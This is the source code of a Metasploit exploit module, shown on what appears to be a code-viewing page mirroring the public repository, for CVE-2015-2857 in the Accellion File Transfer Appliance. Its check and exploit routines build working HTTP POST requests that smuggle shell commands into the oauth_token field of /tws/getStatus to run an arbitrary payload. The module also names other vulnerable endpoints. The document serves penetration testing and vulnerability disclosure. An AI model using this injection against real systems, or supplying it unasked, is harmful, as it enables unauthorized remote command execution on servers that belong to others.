Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb
21666 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Accellion FTA getStatus verify_oauth_token Command Execution',
16
'Description' => %q{
17
This module exploits a metacharacter shell injection vulnerability in the Accellion
18
File Transfer appliance. This vulnerability is triggered when a user-provided
19
'oauth_token' is passed into a system() call within a mod_perl handler. This
20
module exploits the '/tws/getStatus' endpoint. Other vulnerable handlers include
21
'/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue was confirmed on
22
version FTA_9_11_200, but may apply to previous versions as well. This issue was
23
fixed in software update FTA_9_11_210.
24
},
25
'Author' => [ 'hdm' ],
26
'License' => MSF_LICENSE,
27
'References' => [
28
['URL', 'http://r-7.co/R7-2015-08'],
29
['CVE', '2015-2857']
30
],
31
'Platform' => ['unix'],
32
'Arch' => ARCH_CMD,
33
'Privileged' => false,
34
'Payload' => {
35
'Space' => 1024,
36
'DisableNops' => true,
37
'Compat' =>
38
{
39
'PayloadType' => 'cmd',
40
'RequiredCmd' => 'generic perl telnet',
41
}
42
},
43
'Targets' => [
44
[ 'Automatic', {} ]
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2015-07-10',
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options(
57
[
58
Opt::RPORT(443),
59
OptBool.new('SSL', [true, 'Use SSL', true])
60
]
61
)
62
end
63
64
def check
65
uri = '/tws/getStatus'
66
67
res = send_request_cgi({
68
'method' => 'POST',
69
'uri' => uri,
70
'vars_post' => {
71
'transaction_id' => rand(0x100000000),
72
'oauth_token' => 'invalid'
73
}
74
})
75
76
unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/
77
return Exploit::CheckCode::Safe
78
end
79
80
res = send_request_cgi({
81
'method' => 'POST',
82
'uri' => uri,
83
'vars_post' => {
84
'transaction_id' => rand(0x100000000),
85
'oauth_token' => "';echo '"
86
}
87
})
88
89
unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
90
return Exploit::CheckCode::Safe
91
end
92
93
Msf::Exploit::CheckCode::Vulnerable
94
end
95
96
def exploit
97
# The token is embedded into a command line the following:
98
# `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`;
99
token = "';#{payload.encoded};echo '"
100
101
uri = '/tws/getStatus'
102
103
# Other exploitable URLs:
104
# * /seos/find.api (works with no other changes to this module)
105
# * /seos/put.api (requires some hoop jumping, upload)
106
# * /seos/mput.api (requires some hoop jumping, token && upload)
107
108
print_status("Sending request for #{uri}...")
109
res = send_request_cgi({
110
'method' => 'POST',
111
'uri' => uri,
112
'vars_post' => {
113
'transaction_id' => rand(0x100000000),
114
'oauth_token' => token
115
}
116
})
117
118
if res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
119
print_status("Valid response received...")
120
else
121
if res
122
print_error("Unexpected reply from the target: #{res.code} #{res.message} #{res.body}")
123
else
124
print_error("No reply received from the target")
125
end
126
end
127
128
handler
129
end
130
end
131
132